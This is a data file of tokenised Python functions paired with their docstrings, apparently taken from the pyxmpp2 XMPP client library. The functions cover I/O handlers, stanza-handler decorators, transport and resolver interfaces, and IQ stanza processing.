{"signature": "def _prepare_io_handler(self, handler):", "body": "logger.debug(\"<STR_LIT>\".format(handler))<EOL>ret = handler.prepare()<EOL>logger.debug(\"<STR_LIT>\".format(ret))<EOL>if isinstance(ret, HandlerReady):<EOL><INDENT>del self._unprepared_handlers[handler]<EOL>prepared = True<EOL><DEDENT>elif isinstance(ret, PrepareAgain):<EOL><INDENT>if ret.timeout is not None:<EOL><INDENT>now = time.time()<EOL>self.io_loop.add_timeout(<EOL>now + ret.timeout,<EOL>partial(self._configure_io_handler, handler)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>self.io_loop.add_callback(<EOL>partial(self._configure_io_handler, handler)<EOL>)<EOL><DEDENT>prepared = False<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return prepared<EOL>", "docstring": "Call the `interfaces.IOHandler.prepare` method and\n        remove the handler from unprepared handler list when done.", "id": "f15273:c0:m3"}
{"signature": "def _remove_io_handler(self, handler):", "body": "if handler in self._unprepared_handlers:<EOL><INDENT>old_fileno = self._unprepared_handlers[handler]<EOL>del self._unprepared_handlers[handler]<EOL><DEDENT>else:<EOL><INDENT>old_fileno = handler.fileno()<EOL><DEDENT>if old_fileno is not None:<EOL><INDENT>del self._handlers[old_fileno]<EOL>self.io_loop.remove_handler(handler.fileno())<EOL><DEDENT>", "docstring": "Remove an i/o-handler.", "id": "f15273:c0:m4"}
{"signature": "def _handle_event(self, handler, fd, event):", "body": "<EOL>logger.debug('<STR_LIT>', handler, fd, event)<EOL>if event & ioloop.IOLoop.ERROR:<EOL><INDENT>handler.handle_hup()<EOL><DEDENT>if event & ioloop.IOLoop.READ:<EOL><INDENT>handler.handle_read()<EOL><DEDENT>if event & ioloop.IOLoop.WRITE:<EOL><INDENT>handler.handle_write()<EOL><DEDENT>self._configure_io_handler(handler)<EOL>", "docstring": "handle I/O events", "id": "f15273:c0:m11"}
{"signature": "def feature_uri(uri):", "body": "def decorator(class_):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if \"<STR_LIT>\" not in class_.__dict__:<EOL><INDENT>class_._pyxmpp_feature_uris = set()<EOL><DEDENT>class_._pyxmpp_feature_uris.add(uri)<EOL>return class_<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorating attaching a feature URI (for Service Discovery or Capability\n    to a XMPPFeatureHandler class.", "id": "f15275:m0"}
{"signature": "def _iq_handler(iq_type, payload_class, payload_key, usage_restriction):", "body": "def decorator(func):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>func._pyxmpp_stanza_handled = (\"<STR_LIT>\", iq_type)<EOL>func._pyxmpp_payload_class_handled = payload_class<EOL>func._pyxmpp_payload_key = payload_key<EOL>func._pyxmpp_usage_restriction = usage_restriction<EOL>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Method decorator generator for decorating <iq type='get'/> stanza\n    handler methods in `XMPPFeatureHandler` subclasses.\n\n    :Parameters:\n        - `payload_class`: payload class expected\n        - `payload_key`: payload class specific filtering key\n        - `usage_restriction`: optional usage restriction: \"pre-auth\" or\n          \"post-auth\"\n    :Types:\n        - `payload_class`: subclass of `StanzaPayload`\n        - `usage_restriction`: `unicode`", "id": "f15275:m1"}
{"signature": "def iq_get_stanza_handler(payload_class, payload_key = None,<EOL>usage_restriction = \"<STR_LIT>\"):", "body": "return _iq_handler(\"<STR_LIT>\", payload_class, payload_key, usage_restriction)<EOL>", "docstring": "Method decorator generator for decorating <iq type='get'/> stanza\n    handler methods in `XMPPFeatureHandler` subclasses.\n\n    :Parameters:\n        - `payload_class`: payload class expected\n        - `payload_key`: payload class specific filtering key\n        - `usage_restriction`: optional usage restriction: \"pre-auth\" or\n          \"post-auth\"\n    :Types:\n        - `payload_class`: subclass of `StanzaPayload`\n        - `usage_restriction`: `unicode`", "id": "f15275:m2"}
{"signature": "def iq_set_stanza_handler(payload_class, payload_key = None,<EOL>usage_restriction = \"<STR_LIT>\"):", "body": "return _iq_handler(\"<STR_LIT>\", payload_class, payload_key, usage_restriction)<EOL>", "docstring": "Method decorator generator for decorating <iq type='set'/> stanza\n    handler methods in `XMPPFeatureHandler` subclasses.\n\n    :Parameters:\n        - `payload_class`: payload class expected\n        - `payload_key`: payload class specific filtering key\n        - `usage_restriction`: optional usage restriction: \"pre-auth\" or\n          \"post-auth\"\n    :Types:\n        - `payload_class`: subclass of `StanzaPayload`\n        - `usage_restriction`: `unicode`", "id": "f15275:m3"}
{"signature": "def _stanza_handler(element_name, stanza_type, payload_class, payload_key,<EOL>usage_restriction):", "body": "def decorator(func):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>func._pyxmpp_stanza_handled = (element_name, stanza_type)<EOL>func._pyxmpp_payload_class_handled = payload_class<EOL>func._pyxmpp_payload_key = payload_key<EOL>func._pyxmpp_usage_restriction = usage_restriction<EOL>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Method decorator generator for decorating <message/> or <presence/>\n    stanza handler methods in `XMPPFeatureHandler` subclasses.\n\n    :Parameters:\n        - `element_name`: \"message\" or \"presence\"\n        - `stanza_type`: expected value of the 'type' attribute of the stanza\n        - `payload_class`: payload class expected\n        - `payload_key`: payload class specific filtering key\n        - `usage_restriction`: optional usage restriction: \"pre-auth\" or\n          \"post-auth\"\n    :Types:\n        - `element_name`: `unicode`\n        - `stanza_type`: `unicode`\n        - `payload_class`: subclass of `StanzaPayload`\n        - `usage_restriction`: `unicode`", "id": "f15275:m4"}
{"signature": "def message_stanza_handler(stanza_type = None, payload_class = None,<EOL>payload_key = None, usage_restriction = \"<STR_LIT>\"):", "body": "if stanza_type is None:<EOL><INDENT>stanza_type = \"<STR_LIT>\"<EOL><DEDENT>return _stanza_handler(\"<STR_LIT:message>\", stanza_type, payload_class, payload_key,<EOL>usage_restriction)<EOL>", "docstring": "Method decorator generator for decorating <message/>\n    stanza handler methods in `XMPPFeatureHandler` subclasses.\n\n    :Parameters:\n        - `payload_class`: payload class expected\n        - `stanza_type`: expected value of the 'type' attribute of the stanza.\n          `None` means all types except 'error'\n        - `payload_key`: payload class specific filtering key\n        - `usage_restriction`: optional usage restriction: \"pre-auth\" or\n          \"post-auth\"\n    :Types:\n        - `payload_class`: subclass of `StanzaPayload`\n        - `stanza_type`: `unicode`\n        - `usage_restriction`: `unicode`", "id": "f15275:m5"}
{"signature": "def presence_stanza_handler(stanza_type = None, payload_class = None,<EOL>payload_key = None, usage_restriction = \"<STR_LIT>\"):", "body": "return _stanza_handler(\"<STR_LIT>\", stanza_type, payload_class, payload_key,<EOL>usage_restriction)<EOL>", "docstring": "Method decorator generator for decorating <presence/>\n    stanza handler methods in `XMPPFeatureHandler` subclasses.\n\n    :Parameters:\n        - `payload_class`: payload class expected\n        - `stanza_type`: expected value of the 'type' attribute of the stanza.\n        - `payload_key`: payload class specific filtering key\n        - `usage_restriction`: optional usage restriction: \"pre-auth\" or\n          \"post-auth\"\n    :Types:\n        - `payload_class`: subclass of `StanzaPayload`\n        - `stanza_type`: `unicode`\n        - `usage_restriction`: `unicode`", "id": "f15275:m6"}
{"signature": "def payload_element_name(element_name):", "body": "def decorator(klass):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>from .stanzapayload import STANZA_PAYLOAD_CLASSES<EOL>from .stanzapayload import STANZA_PAYLOAD_ELEMENTS<EOL>if hasattr(klass, \"<STR_LIT>\"):<EOL><INDENT>klass._pyxmpp_payload_element_name.append(element_name)<EOL><DEDENT>else:<EOL><INDENT>klass._pyxmpp_payload_element_name = [element_name]<EOL><DEDENT>if element_name in STANZA_PAYLOAD_CLASSES:<EOL><INDENT>logger = logging.getLogger('<STR_LIT>')<EOL>logger.warning(\"<STR_LIT>\".format(<EOL>element_name))<EOL><DEDENT>STANZA_PAYLOAD_CLASSES[element_name] = klass<EOL>STANZA_PAYLOAD_ELEMENTS[klass].append(element_name)<EOL>return klass<EOL><DEDENT>return decorator<EOL>", "docstring": "Class decorator generator for decorationg\n    `StanzaPayload` subclasses.\n\n    :Parameters:\n        - `element_name`: XML element qname handled by the class\n    :Types:\n        - `element_name`: `unicode`", "id": "f15275:m7"}
{"signature": "def stream_element_handler(element_name, usage_restriction = None):", "body": "def decorator(func):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>func._pyxmpp_stream_element_handled = element_name<EOL>func._pyxmpp_usage_restriction = usage_restriction<EOL>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Method decorator generator for decorating stream element\n    handler methods in `StreamFeatureHandler` subclasses.\n\n    :Parameters:\n        - `element_name`: stream element QName\n        - `usage_restriction`: optional usage restriction: \"initiator\" or\n          \"receiver\"\n    :Types:\n        - `element_name`: `unicode`\n        - `usage_restriction`: `unicode`", "id": "f15275:m8"}
{"signature": "@abstractmethod<EOL><INDENT>def resolve_srv(self, domain, service, protocol, callback):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Start looking up an SRV record for `service` at `domain`.\n\n        `callback` will be called with a properly sorted list of (hostname,\n        port) pairs on success. The list will be empty on error and it will\n        contain only (\".\", 0) when the service is explicitely disabled.\n\n        :Parameters:\n            - `domain`: domain name to look up\n            - `service`: service name e.g. 'xmpp-client'\n            - `protocol`: protocol name, e.g. 'tcp'\n            - `callback`: a function to be called with a list of received\n              addresses\n        :Types:\n            - `domain`: `unicode`\n            - `service`: `unicode`\n            - `protocol`: `unicode`\n            - `callback`: function accepting a single argument", "id": "f15275:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def resolve_address(self, hostname, callback, allow_cname = True):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Start looking up an A or AAAA record.\n\n        `callback` will be called with a list of IPv4 or IPv6 address literals\n        on success. The list will be empty on error.\n\n        :Parameters:\n            - `hostname`: the host name to look up\n            - `callback`: a function to be called with a list of received\n              addresses\n            - `allow_cname`: `True` if CNAMEs should be followed\n        :Types:\n            - `hostname`: `unicode`\n            - `callback`: function accepting a single argument\n            - `allow_cname`: `bool`", "id": "f15275:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def set_target(self, stream):<DEDENT>", "body": "pass<EOL>", "docstring": "Make the `stream` the target for this transport instance.\n\n        The 'stream_start', 'stream_end' and 'stream_element' methods\n        of the target will be called when appropriate content is received.\n\n        :Parameters:\n            - `stream`: the stream handler to receive stream content\n              from the transport\n        :Types:\n            - `stream`: `StreamBase`", "id": "f15275:c1:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def send_stream_head(self, stanza_namespace, stream_from, stream_to,<EOL>stream_id = None, version = u'<STR_LIT:1.0>', language = None):<DEDENT>", "body": "<EOL>pass<EOL>", "docstring": "Send stream head via the transport.\n\n:Parameters:\n    - `stanza_namespace`: namespace of stream stanzas (e.g.\n      'jabber:client')\n    - `stream_from`: the 'from' attribute of the stream. May be `None`.\n    - `stream_to`: the 'to' attribute of the stream. May be `None`.\n    - `version`: the 'version' of the stream.\n    - `language`: the 'xml:lang' of the stream\n:Types:\n    - `stanza_namespace`: `unicode`\n    - `stream_from`: `unicode`\n    - `stream_to`: `unicode`\n    - `version`: `unicode`\n    - `language`: `unicode`", "id": "f15275:c1:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def restart(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Restart the stream after SASL or StartTLS handshake.\n\n        For the initiator a new call to `send_stream_head` is required too.", "id": "f15275:c1:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def send_stream_tail(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Send stream tail via the transport.", "id": "f15275:c1:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def send_element(self, element):<DEDENT>", "body": "pass<EOL>", "docstring": "Send an element via the transport.", "id": "f15275:c1:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def is_connected(self):<DEDENT>", "body": "return False<EOL>", "docstring": "Check if the transport is connected.\n\n:Return: `True` if is connected.", "id": "f15275:c1:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def disconnect(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Gracefully disconnect the connection.", "id": "f15275:c1:m6"}
{"signature": "@property<EOL><INDENT>def auth_properties(self):<DEDENT>", "body": "return {}<EOL>", "docstring": "Channel properties for authentication and authorization.", "id": "f15275:c1:m7"}
{"signature": "@abstractmethod<EOL><INDENT>def send(self, stanza):<DEDENT>", "body": "pass<EOL>", "docstring": "Send stanza through this route.", "id": "f15275:c2:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def uplink_receive(self, stanza):<DEDENT>", "body": "pass<EOL>", "docstring": "Handle stanza received from 'uplink'.", "id": "f15275:c2:m1"}
{"signature": "@abstractclassmethod<EOL><INDENT>def from_xml(cls, element):<DEDENT>", "body": "<EOL>raise NotImplementedError<EOL>", "docstring": "Create a `cls` instance from an XML element.\n\n        :Parameters:\n            - `element`: the XML element\n        :Types:\n            - `element`: :etree:`ElementTree.Element`", "id": "f15275:c4:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def as_xml(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Return the XML representation of the payload.\n\n        :returntype: :etree:`ElementTree.Element`", "id": "f15275:c4:m1"}
{"signature": "def copy(self):", "body": "return deepcopy(self)<EOL>", "docstring": "Return a deep copy of self.", "id": "f15275:c4:m2"}
{"signature": "@property<EOL><INDENT>def handler_key(self):<DEDENT>", "body": "<EOL>return None<EOL>", "docstring": "Defines a key which may be used when registering handlers\n        for stanzas with this payload.", "id": "f15275:c4:m3"}
{"signature": "def handle_stream_features(self, stream, features):", "body": "<EOL>return False<EOL>", "docstring": "Handle features announced by the stream peer.\n\n        [initiator only]\n\n        :Parameters:\n            - `stream`: the stream\n            - `features`: the features element just received\n        :Types:\n            - `stream`: `StreamBase`\n            - `features`: :etree:`ElementTree.Element`\n\n        :Return:\n            - `StreamFeatureHandled` instance if a feature was recognized and\n              handled\n            - `StreamFeatureNotHandled` instance if a feature was recognized\n              but not handled\n            - `None` if no feature was recognized", "id": "f15275:c7:m0"}
{"signature": "def make_stream_features(self, stream, features):", "body": "<EOL>return False<EOL>", "docstring": "Update the features element announced by the stream.\n\n        [receiver only]\n\n        :Parameters:\n            - `stream`: the stream\n            - `features`: the features element about to be sent\n        :Types:\n            - `stream`: `StreamBase`\n            - `features`: :etree:`ElementTree.Element`", "id": "f15275:c7:m1"}
{"signature": "def _move_session_handler(handlers):", "body": "index = <NUM_LIT:0><EOL>for i, handler in enumerate(handlers):<EOL><INDENT>if isinstance(handler, SessionHandler):<EOL><INDENT>index = i<EOL>break<EOL><DEDENT><DEDENT>if index:<EOL><INDENT>handlers[:index + <NUM_LIT:1>] = [handlers[index]] + handlers[:index]<EOL><DEDENT>", "docstring": "Find a SessionHandler instance in the list and move it to the beginning.", "id": "f15276:m0"}
{"signature": "def _initial_presence_factory(settings):", "body": "<EOL>return Presence()<EOL>", "docstring": "Factory for the :r:`initial_presence setting` default.", "id": "f15276:m1"}
{"signature": "def __init__(self, jid, handlers, settings = None, main_loop = None):", "body": "self._ml_handlers = []<EOL>self.jid = jid<EOL>self.settings = settings if settings else XMPPSettings()<EOL>StanzaProcessor.__init__(self, self.settings[u\"<STR_LIT>\"])<EOL>self.handlers = handlers<EOL>self._base_handlers = self.base_handlers_factory()<EOL>self.roster_client = self.roster_client_factory()<EOL>self._base_handlers += [self.roster_client]<EOL>self._ml_handlers += list(handlers) + self._base_handlers + [self]<EOL>_move_session_handler(self._ml_handlers)<EOL>if main_loop is not None:<EOL><INDENT>self.main_loop = main_loop<EOL>for handler in self._ml_handlers:<EOL><INDENT>self.main_loop.add_handler(handler)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.main_loop = main_loop_factory(settings, self._ml_handlers)<EOL><DEDENT>self.stream = None<EOL>", "docstring": "Initialize a Client object.\n\n        :Parameters:\n            - `jid`: user JID for the connection.\n            - `settings`: client settings.\n            - `main_loop`: Main event loop to attach to. If None, a loop\n              will be created.\n        :Types:\n            - `jid`: `jid.JID`\n            - `settings`: `settings.XMPPSettings`\n            - `main_loop`: `main_loop.interfaces.MainLoop`", "id": "f15276:c0:m0"}
{"signature": "@property<EOL><INDENT>def roster(self):<DEDENT>", "body": "with self.lock:<EOL><INDENT>if self.roster_client is not None:<EOL><INDENT>return self.roster_client.roster<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>", "docstring": "Current roster.\n\n        Shortcut for ``self.roster_client.roster``.", "id": "f15276:c0:m2"}
{"signature": "def connect(self):", "body": "with self.lock:<EOL><INDENT>if self.stream:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self._close_stream()<EOL><DEDENT>transport = TCPTransport(self.settings)<EOL>addr = self.settings[\"<STR_LIT>\"]<EOL>if addr:<EOL><INDENT>service = None<EOL><DEDENT>else:<EOL><INDENT>addr = self.jid.domain<EOL>service = self.settings[\"<STR_LIT>\"]<EOL><DEDENT>transport.connect(addr, self.settings[\"<STR_LIT>\"], service)<EOL>handlers = self._base_handlers[:]<EOL>handlers += self.handlers + [self]<EOL>self.clear_response_handlers()<EOL>self.setup_stanza_handlers(handlers, \"<STR_LIT>\")<EOL>stream = ClientStream(self.jid, self, handlers, self.settings)<EOL>stream.initiate(transport)<EOL>self.main_loop.add_handler(transport)<EOL>self.main_loop.add_handler(stream)<EOL>self._ml_handlers += [transport, stream]<EOL>self.stream = stream<EOL>self.uplink = stream<EOL><DEDENT>", "docstring": "Schedule a new XMPP c2s connection.", "id": "f15276:c0:m3"}
{"signature": "def disconnect(self):", "body": "with self.lock:<EOL><INDENT>if self.stream:<EOL><INDENT>if self.settings[u\"<STR_LIT>\"]:<EOL><INDENT>self.send(Presence(stanza_type = \"<STR_LIT>\"))<EOL><DEDENT>self.stream.disconnect()<EOL><DEDENT><DEDENT>", "docstring": "Gracefully disconnect from the server.", "id": "f15276:c0:m4"}
{"signature": "def close_stream(self):", "body": "with self.lock:<EOL><INDENT>self._close_stream()<EOL><DEDENT>", "docstring": "Close the stream immediately.", "id": "f15276:c0:m5"}
{"signature": "def _close_stream(self):", "body": "self.stream.close()<EOL>if self.stream.transport in self._ml_handlers:<EOL><INDENT>self._ml_handlers.remove(self.stream.transport)<EOL>self.main_loop.remove_handler(self.stream.transport)<EOL><DEDENT>self.stream = None<EOL>self.uplink = None<EOL>", "docstring": "Same as `close_stream` but with the `lock` acquired.", "id": "f15276:c0:m6"}
{"signature": "def run(self, timeout = None):", "body": "self.main_loop.loop(timeout)<EOL>", "docstring": "Call the main loop.\n\n        Convenience wrapper for ``self.main_loop.loop``", "id": "f15276:c0:m7"}
{"signature": "@event_handler(AuthenticatedEvent)<EOL><INDENT>def _stream_authenticated(self, event):<DEDENT>", "body": "with self.lock:<EOL><INDENT>if event.stream != self.stream:<EOL><INDENT>return<EOL><DEDENT>self.me = event.stream.me<EOL>self.peer = event.stream.peer<EOL>handlers = self._base_handlers[:]<EOL>handlers += self.handlers + [self]<EOL>self.setup_stanza_handlers(handlers, \"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Handle the `AuthenticatedEvent`.", "id": "f15276:c0:m8"}
{"signature": "@event_handler(AuthorizedEvent)<EOL><INDENT>def _stream_authorized(self, event):<DEDENT>", "body": "with self.lock:<EOL><INDENT>if event.stream != self.stream:<EOL><INDENT>return<EOL><DEDENT>self.me = event.stream.me<EOL>self.peer = event.stream.peer<EOL>presence = self.settings[u\"<STR_LIT>\"]<EOL>if presence:<EOL><INDENT>self.send(presence)<EOL><DEDENT><DEDENT>", "docstring": "Handle the `AuthorizedEvent`.", "id": "f15276:c0:m9"}
{"signature": "@event_handler(DisconnectedEvent)<EOL><INDENT>def _stream_disconnected(self, event):<DEDENT>", "body": "with self.lock:<EOL><INDENT>if event.stream != self.stream:<EOL><INDENT>return<EOL><DEDENT>if self.stream is not None and event.stream == self.stream:<EOL><INDENT>if self.stream.transport in self._ml_handlers:<EOL><INDENT>self._ml_handlers.remove(self.stream.transport)<EOL>self.main_loop.remove_handler(self.stream.transport)<EOL><DEDENT>self.stream = None<EOL>self.uplink = None<EOL><DEDENT><DEDENT>", "docstring": "Handle stream disconnection event.", "id": "f15276:c0:m10"}
{"signature": "@timeout_handler(<NUM_LIT:1>)<EOL><INDENT>def regular_tasks(self):<DEDENT>", "body": "with self.lock:<EOL><INDENT>ret = self._iq_response_handlers.expire()<EOL>if ret is None:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return min(<NUM_LIT:1>, ret)<EOL><DEDENT><DEDENT>", "docstring": "Do some housekeeping (cache expiration, timeout handling).\n\n        This method should be called periodically from the application's\n        main loop.\n\n        :Return: suggested delay (in seconds) before the next call to this\n                                                                    method.\n        :Returntype: `int`", "id": "f15276:c0:m11"}
{"signature": "def base_handlers_factory(self):", "body": "tls_handler = StreamTLSHandler(self.settings)<EOL>sasl_handler = StreamSASLHandler(self.settings)<EOL>session_handler = SessionHandler()<EOL>binding_handler = ResourceBindingHandler(self.settings)<EOL>return [tls_handler, sasl_handler, binding_handler, session_handler]<EOL>", "docstring": "Default base client handlers factory.\n\n        Subclasses can provide different behaviour by overriding this.\n\n        :Return: list of handlers", "id": "f15276:c0:m12"}
{"signature": "def roster_client_factory(self):", "body": "return RosterClient(self.settings)<EOL>", "docstring": "Creates the `RosterClient` instance for the `roster_client`\n        attribute.\n\n        Subclasses can provide different behaviour by overriding this. The\n        overriding method can return `None` if no roster client is needed.\n\n        :Return: `RosterClient`", "id": "f15276:c0:m13"}
{"signature": "def stanza_factory(element, return_path = None, language = None):", "body": "tag = element.tag<EOL>if tag.endswith(\"<STR_LIT>\") or tag == \"<STR_LIT>\":<EOL><INDENT>return Iq(element, return_path = return_path, language = language)<EOL><DEDENT>if tag.endswith(\"<STR_LIT>\") or tag == \"<STR_LIT:message>\":<EOL><INDENT>return Message(element, return_path = return_path, language = language)<EOL><DEDENT>if tag.endswith(\"<STR_LIT>\") or tag == \"<STR_LIT>\":<EOL><INDENT>return Presence(element, return_path = return_path, language = language)<EOL><DEDENT>else:<EOL><INDENT>return Stanza(element, return_path = return_path, language = language)<EOL><DEDENT>", "docstring": "Creates Iq, Message or Presence object for XML stanza `element`\n\n    :Parameters:\n        - `element`: the stanza XML element\n        - `return_path`: object through which responses to this stanza should\n          be sent (will be weakly referenced by the stanza object).\n        - `language`: default language for the stanza\n    :Types:\n        - `element`: :etree:`ElementTree.Element`\n        - `return_path`: `StanzaRoute`\n        - `language`: `unicode`", "id": "f15277:m0"}
{"signature": "def __init__(self, default_timeout = <NUM_LIT>):", "body": "self.me = None<EOL>self.peer = None<EOL>self.uplink = None<EOL>self.process_all_stanzas = True<EOL>self._iq_response_handlers = ExpiringDictionary(default_timeout)<EOL>self._iq_handlers = defaultdict(dict)<EOL>self._message_handlers = []<EOL>self._presence_handlers = []<EOL>self.lock = threading.RLock()<EOL>", "docstring": "Initialize a `StanzaProcessor` object.\n\n        :Parameters:\n            - `default_timeout`: default timeout for IQ response handlers", "id": "f15277:c0:m0"}
{"signature": "def _process_handler_result(self, response):", "body": "if response is None or response is False:<EOL><INDENT>return False<EOL><DEDENT>if isinstance(response, Stanza):<EOL><INDENT>self.send(response)<EOL>return True<EOL><DEDENT>try:<EOL><INDENT>response = iter(response)<EOL><DEDENT>except TypeError:<EOL><INDENT>return bool(response)<EOL><DEDENT>for stanza in response:<EOL><INDENT>if isinstance(stanza, Stanza):<EOL><INDENT>self.send(stanza)<EOL><DEDENT>else:<EOL><INDENT>logger.warning(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(stanza))<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Examines out the response returned by a stanza handler and sends all\n        stanzas provided.\n\n        :Parameters:\n            - `response`: the response to process. `None` or `False` means 'not\n              handled'. `True` means 'handled'. Stanza or stanza list means\n              handled with the stanzas to send back\n        :Types:\n            - `response`: `bool` or `Stanza` or iterable of `Stanza`\n\n        :Returns:\n            - `True`: if `response` is `Stanza`, iterable or `True` (meaning\n              the stanza was processed).\n            - `False`: when `response` is `False` or `None`\n\n        :returntype: `bool`", "id": "f15277:c0:m1"}
{"signature": "def _process_iq_response(self, stanza):", "body": "stanza_id = stanza.stanza_id<EOL>from_jid = stanza.from_jid<EOL>if from_jid:<EOL><INDENT>ufrom = from_jid.as_unicode()<EOL><DEDENT>else:<EOL><INDENT>ufrom = None<EOL><DEDENT>res_handler = err_handler = None<EOL>try:<EOL><INDENT>res_handler, err_handler = self._iq_response_handlers.pop(<EOL>(stanza_id, ufrom))<EOL><DEDENT>except KeyError:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(stanza_id, ufrom))<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(from_jid, self.peer, self.me))<EOL>if ( (from_jid == self.peer or from_jid == self.me<EOL>or self.me and from_jid == self.me.bare()) ):<EOL><INDENT>try:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(stanza_id))<EOL>res_handler, err_handler =self._iq_response_handlers.pop(<EOL>(stanza_id, None))<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>if stanza.stanza_type == \"<STR_LIT:result>\":<EOL><INDENT>if res_handler:<EOL><INDENT>response = res_handler(stanza)<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if err_handler:<EOL><INDENT>response = err_handler(stanza)<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>self._process_handler_result(response)<EOL>return True<EOL>", "docstring": "Process IQ stanza of type 'response' or 'error'.\n\n        :Parameters:\n            - `stanza`: the stanza received\n        :Types:\n            - `stanza`: `Iq`\n\n        If a matching handler is available pass the stanza to it.  Otherwise\n        ignore it if it is \"error\" or \"result\" stanza or return\n        \"feature-not-implemented\" error if it is \"get\" or \"set\".", "id": "f15277:c0:m2"}
{"signature": "def process_iq(self, stanza):", "body": "typ = stanza.stanza_type<EOL>if typ in (\"<STR_LIT:result>\", \"<STR_LIT:error>\"):<EOL><INDENT>return self._process_iq_response(stanza)<EOL><DEDENT>if typ not in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(<EOL>stanza, typ))<EOL>payload = stanza.get_payload(None)<EOL>logger.debug(\"<STR_LIT>\".format(payload))<EOL>if not payload:<EOL><INDENT>raise BadRequestProtocolError(\"<STR_LIT>\")<EOL><DEDENT>handler = self._get_iq_handler(typ, payload)<EOL>if not handler:<EOL><INDENT>payload = stanza.get_payload(None, specialize = True)<EOL>logger.debug(\"<STR_LIT>\".format(payload))<EOL>if not isinstance(payload, XMLPayload):<EOL><INDENT>handler = self._get_iq_handler(typ, payload)<EOL><DEDENT><DEDENT>if handler:<EOL><INDENT>response = handler(stanza)<EOL>self._process_handler_result(response)<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>raise ServiceUnavailableProtocolError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Process IQ stanza received.\n\n        :Parameters:\n            - `stanza`: the stanza received\n        :Types:\n            - `stanza`: `Iq`\n\n        If a matching handler is available pass the stanza to it.  Otherwise\n        ignore it if it is \"error\" or \"result\" stanza or return\n        \"feature-not-implemented\" error if it is \"get\" or \"set\".", "id": "f15277:c0:m3"}
{"signature": "def _get_iq_handler(self, iq_type, payload):", "body": "key = (payload.__class__, payload.handler_key)<EOL>logger.debug(\"<STR_LIT>\"<EOL>.format(iq_type, payload, key))<EOL>logger.debug(\"<STR_LIT>\".format(self._iq_handlers))<EOL>handler = self._iq_handlers[iq_type].get(key)<EOL>return handler<EOL>", "docstring": "Get an <iq/> handler for given iq  type and payload.", "id": "f15277:c0:m4"}
{"signature": "def __try_handlers(self, handler_list, stanza, stanza_type = None):", "body": "<EOL>if stanza_type is None:<EOL><INDENT>stanza_type = stanza.stanza_type<EOL><DEDENT>payload = stanza.get_all_payload()<EOL>classes = [p.__class__ for p in payload]<EOL>keys = [(p.__class__, p.handler_key) for p in payload]<EOL>for handler in handler_list:<EOL><INDENT>type_filter = handler._pyxmpp_stanza_handled[<NUM_LIT:1>]<EOL>class_filter = handler._pyxmpp_payload_class_handled<EOL>extra_filter = handler._pyxmpp_payload_key<EOL>if type_filter != stanza_type:<EOL><INDENT>continue<EOL><DEDENT>if class_filter:<EOL><INDENT>if extra_filter is None and class_filter not in classes:<EOL><INDENT>continue<EOL><DEDENT>if extra_filter and (class_filter, extra_filter) not in keys:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>response = handler(stanza)<EOL>if self._process_handler_result(response):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Search the handler list for handlers matching\n        given stanza type and payload namespace. Run the\n        handlers found ordering them by priority until\n        the first one which returns `True`.\n\n        :Parameters:\n            - `handler_list`: list of available handlers\n            - `stanza`: the stanza to handle\n            - `stanza_type`: stanza type override (value of its \"type\"\n              attribute)\n\n        :return: result of the last handler or `False` if no\n            handler was found.", "id": "f15277:c0:m5"}
